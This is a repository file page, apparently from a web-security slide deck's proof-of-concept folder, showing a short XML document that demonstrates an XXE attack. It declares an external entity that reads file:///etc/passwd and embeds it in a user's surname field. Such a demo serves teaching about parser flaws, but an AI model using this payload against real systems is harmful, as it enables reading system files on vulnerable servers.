slide-web-security/poc/xxe/xxe.xml

9 lines
212 B
XML
Raw Normal View History

2021-05-01 18:06:01 +02:00
<?xml version="1.0"?>
<!DOCTYPE utente [
<!ELEMENT nome ANY>
<!ELEMENT cognome ANY>
<!ENTITY comando SYSTEM "file:///etc/passwd">]>
<utente>
<nome>Mario</nome>
<cognome>Rossi &comando;</cognome>
</utente>